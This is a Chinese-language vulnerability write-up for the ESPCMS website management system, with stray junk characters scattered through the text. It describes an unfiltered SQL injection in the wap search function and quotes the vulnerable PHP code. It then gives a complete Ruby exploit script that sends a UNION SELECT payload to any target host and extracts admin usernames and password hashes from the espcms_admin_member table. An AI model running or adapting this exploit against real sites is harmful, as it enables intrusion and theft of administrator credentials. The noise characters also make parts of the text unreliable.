0×0 漏洞概述0×1 漏洞细节
! w8 p% r% A' i6 C7 X# p0×2 PoC
& d- ^' b0 q# X( n( z
7 x9 Q1 r2 }$ D# y9 d$ s0 ]! O# h* n5 |7 K
; R9 I" u7 _& c6 b6 l7 E0×0 漏洞概述 q' m) M5 y& f
' T5 Q8 O- D$ k易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。, s5 @( L1 a# e2 J1 d
其在处理传入的参数时考虑不严谨导致SQL注入发生) G4 W0 g1 H3 ^
% H, ]- B7 Z1 a) @- n
0 r$ R+ u# E$ e6 L: U0×1 漏洞细节
- P/ z) i" Y* \0 C! W6 z/ ~
0 |% l& W6 n( R6 m# R变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
! l( k/ }8 G0 X. |- `9 c9 Z正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。
/ v- z. z, Y: m- E1 K% g9 C而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。
1 B2 W) f$ A: Q# Y9 O3 A x) b" g# Y- K8 u! Z2 C# C, R" d6 M. ~ g
在/interface/3gwap_search.php文件的in_result函数中:
; t, l' x4 L. b! p. Y' J) C1 y7 u4 ~8 \! p$ A$ C
4 O4 W# ?' G" S. t2 M$ U2 G) C6 d. b5 z; B* _' m( t& t* O
function in_result() {
. C- f! C" |# m. ~% c+ J$ O6 l0 ` ... ... ... ... ... ... ... ... ...
+ B; a, o; Z% i% Q $urlcode = $_SERVER[ 'QUERY_STRING '];- _& b$ J2 K9 n1 ?
parse_str(html_entity_decode($urlcode), $output);/ c {( T) X& L6 ?- b& Y
7 p& b; X/ T9 ?, p. t& O7 u
... ... ... ... ... ... ... ... ...
/ ?% m( W' t5 Z9 S6 [; Q if (is_array($output['attr' ]) && count($output['attr']) > 0) {
: k2 U( ~2 @5 ]- i) M. t# ~6 s; h; v; g9 D( a1 |& N
$db_table = db_prefix . 'model_att';$ w4 x/ }" b! D% _" X( T O
0 n; E' V7 Y' h* O& a foreach ($output['attr' ] as $key => $value) {
; e9 |2 C6 J, t' J if ($value) {
+ F) {8 U) v- f" a' l9 J
% r+ f- t( f& t1 c6 U $key = addslashes($key);: ]% c# u7 C6 [1 k& T
$key = $this-> fun->inputcodetrim($key); N9 ?3 o% _: k% i! w" y8 w3 w
$db_att_where = " WHERE isclass=1 AND attrname='$key'";
- p2 ^1 B: a6 j' o0 M) b $countnum = $this->db_numrows($db_table, $db_att_where);
' x0 p- X/ e9 b& F, x. l' @ T if ($countnum > 0) {* e0 ~1 a( ~% o& {' V* {0 r
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;
) F# o# I Y* P1 F. v }
1 S3 T$ }- H4 M) [1 [0 p* {2 \2 N }' ^1 X4 S. G' F' l+ Z( ^) \: ?% l
}% Y3 _% i; d$ I6 ]; N
}
6 a4 f' w* k& t: @* g/ e if (!empty ($keyword) && empty($keyname)) {6 _2 q1 v0 U% {( k2 i- g, M
$keyname = 'title';
- s9 W: B' n: t! i $db_where.= " AND a.title like '%$keyword%'" ;, w% D! I: `0 Q2 T
} elseif (!empty ($keyword) && !empty($keyname)) {
- a" C3 A) R' m6 t( u1 I. v, D $db_where.= " AND $keyname like '% $keyword%'";
$ |$ _( D# x9 w6 B+ m# a }
& d; \+ x# _8 U1 k' @$ Z8 H# }! M $pagemax = 15;6 q$ v, Q V1 J# U
! J# k7 S# K/ O $pagesylte = 1;
0 q) ~/ h: Y. c. N0 _0 M) H+ ]6 q+ V6 O
if ($countnum > 0) {% [/ n& |$ g4 h6 {% l
% ?2 b9 J$ h+ L& ^ $numpage = ceil($countnum / $pagemax);( p2 v; Z( c5 [: O w5 I- N
} else {0 ]! C9 ?8 Q! o" L o+ `3 ^
$numpage = 1;! r9 ^2 g" U# a8 ?
}
5 Y! [" g: V: |4 G6 V $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
Z/ ^0 w* K& x, e+ d+ s( t% j @ $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);' x- Z! M8 k1 k1 u1 T
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);; \" h, q$ m8 @
... ... ... ... ... ... ... ... ...
. W2 I h, W" s1 H, Z/ b }* ~8 A3 Q( e v' A, X
5 J6 n; F/ K- u6 B m
4 p0 J, G6 }* D" U
0×2 PoC
) n& Z/ N6 Z7 ]+ s g6 R& d
/ t5 H0 g- Y9 u* M+ @$ e! i1 }. f+ }; {; I" L
6 j( `# d* `; ~# H' h t/ p! r$ Xrequire "net/http"9 ~& l& l+ U% d* S* @! B4 j
$ f+ c4 D; W! O% ?def request(method, url)
' k- S* p0 |; k# ]6 Q' \ if method.eql?("get")0 c4 B) k i; e. t) N# O% W' f
uri = URI.parse(url), ]5 \, c, o; e# n0 P
http = Net::HTTP.new(uri.host, uri.port)
% Y+ j F2 O ~, M0 N( E" i9 H1 y response = http.request(Net::HTTP::Get.new(uri.request_uri))
; T1 I" F6 W% a5 p5 _1 Y; \ return response
8 t' r) C3 u4 W( q/ J end7 ] W, }4 y' V$ C
end$ a0 m0 C+ z) @7 W0 x' k% O; Z
9 [) d+ z4 V1 D/ Z
doc =<<HERE
- ]% n0 P9 j) S' R. m. p6 s$ {1 v-------------------------------------------------------
1 M; b) I+ O. v! yEspcms Injection Exploit0 v1 E) h p' D, o# v5 y. b2 N
Author:ztz
; ?/ B, p- d( @4 ]' bBlog:http://ztz.fuzzexp.org/' I5 o9 g6 h) k% W, |) g# T0 ~% G
-------------------------------------------------------: v0 a. l* P1 U: O4 u" p9 z; y3 b2 Q
4 G8 Y8 `$ I& {/ g: V! c1 lHERE- o) n( B" U* t# \
1 h V2 o8 g! s
usage =<<HERE
1 |7 v* a$ O- Y% d, a+ j! SUsage: ruby #{$0} host port path
3 P5 t. ]% V4 A" _. U$ ]; Rexample: ruby #{$0} www.target.com 80 /
6 l2 M" J) d1 G& }0 u3 b( ?HERE3 y7 ~! _" C: _4 y/ W r
T0 O' P8 o! n/ t) C
puts doc8 K8 y! I" T3 T1 a! u# A" A1 G
if ARGV.length < 3* R F* H6 [3 Z+ T6 [
puts usage
$ N7 ~$ Z% e/ Y* C* [0 J2 C+ _* Zelse# s/ E' D! a6 J; N5 c
$host = ARGV[0]% x$ D% q; v( _8 M' h: D
$port = ARGV[1], i& F) P8 r) ~7 O: L' r6 [; V
$path = ARGV[2]9 s9 a8 N0 c, o8 Y0 T- t' Z
2 M3 ^! |/ k" V7 Z8 @5 W
puts "send request..."
# N; s( O5 }5 y$ j# h6 o1 t! G' I, o. s url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&
o* w# E* ^* K% | j/ mattr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13( k: ]0 I; q7 ^
,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27- v4 V! g7 H) z
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
f2 T" N% n8 m0 A( ^ response = request("get", url)
1 Z0 \$ |) _* M0 Y; G+ \# U result = response.body.scan(/\w+&\w{32}/)& }* W2 w; m! `' R
puts result
# j3 g4 j+ r8 J7 [& mend& p/ }, I x- E9 ?+ M# u) c3 v
3 ^$ i2 N: G3 h9 f _
|